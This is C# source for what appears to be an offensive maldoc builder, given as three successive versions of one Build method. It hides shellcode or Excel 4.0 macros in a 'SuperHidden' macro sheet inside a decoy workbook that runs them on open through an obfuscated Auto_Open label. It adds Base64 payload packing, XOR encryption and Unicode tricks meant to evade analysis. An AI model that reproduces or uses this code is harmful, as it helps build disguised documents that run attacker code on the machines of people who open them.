/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc) { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } if (wbs.GetAllRecordsByType <SupBook>().Count > 0) { throw new NotImplementedException("Please use a decoy document with no existing Labels."); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); if (method == SheetPackingMethod.CharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); wbe.AddLabel("\u0000\u0000\u0000\u0000\u0000\u0000var", null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2)); } wbe.AddLabel("Auto_Open", rwStart, colStart); wbe.ObfuscateAutoOpen(); ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, wbe.WbStream); }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="password">Password to encrypt document using XOR Obfuscation.</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, string password = "") { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } if (wbs.GetAllRecordsByType <SupBook>().Count > 0) { throw new NotImplementedException("Please use a decoy document with no existing Labels."); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); //Abuse a few comparison "features" in Excel //1. Null bytes are ignored at the beginning and start of a label. //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325) //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2)); } wbe.AddLabel("Auto_Open", rwStart, colStart); wbe.ObfuscateAutoOpen(); WorkbookStream createdWorkbook = wbe.WbStream; if (!string.IsNullOrEmpty(password)) { Console.WriteLine("Encrypting Document with Password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password); // createdWorkbook = createdWorkbook.FixBoundSheetOffsets(); } ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, createdWorkbook); }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the Base64 for encoding.</param> /// <param name="password">Password to encrypt document using XOR Obfuscation.</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param> /// <param name="noLabelObfuscation">Use this flag to disable Unicode obfuscation of the Auto_Open label. Recommended for when targeting a non-windows OS, or if a non-US version of Excel isn't triggering the event</param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.Base64, string password = "", string localizedLabel = "Auto_Open", bool noLabelObfuscation = false) { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList(); VBAInfo vbaInfo = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); //Prepend the preamble to the imported pattern macros = preambleCode.Concat(macros).ToList(); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } if (payloadMethod == PayloadPackingMethod.Base64) { macros = MacroPatterns.GetBase64DecodePattern(preambleCode); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); // Initialize the Global Stream records like SupBook + ExternSheet wbe.InitializeGlobalStreamLabels(); if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); //Abuse a few comparison "features" in Excel //1. Null bytes are ignored at the beginning and start of a label. //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325) //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod); } else if (method == SheetPackingMethod.ArgumentSubroutines) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; ushort formInvocationRw = 0xefff; ushort formInvocationCol = 0x9e; ushort evalFormInvocationRw = 0xefff; ushort evalFormInvocationCol = 0x9d; //Lbl1 wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false); //Lbl2 wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false); //Lbl3 wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true); //Lbl4 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true); //Lbl5 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true); //Lbl6 wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false); //Lbl7 wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true); List <Formula> charFunctionFormulas = FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3, UnicodeHelper.CharFuncArgument1Label); foreach (var f in charFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes( formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label, UnicodeHelper.FormulaFuncArgument2Label, 4, 5); foreach (var f in formulaFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaEvalFunctionFormulas = FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes( evalFormInvocationRw, evalFormInvocationCol, UnicodeHelper.FormulaEvalArgument1Label, 7); foreach (var f in formulaEvalFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } } wbe.AddLabel(localizedLabel, rwStart, colStart); if (!noLabelObfuscation) { wbe.ObfuscateAutoOpen(localizedLabel); } WorkbookStream createdWorkbook = wbe.WbStream; if (!string.IsNullOrEmpty(password)) { Console.WriteLine("Encrypting Document with Password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password); } ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, createdWorkbook, vbaInfo); }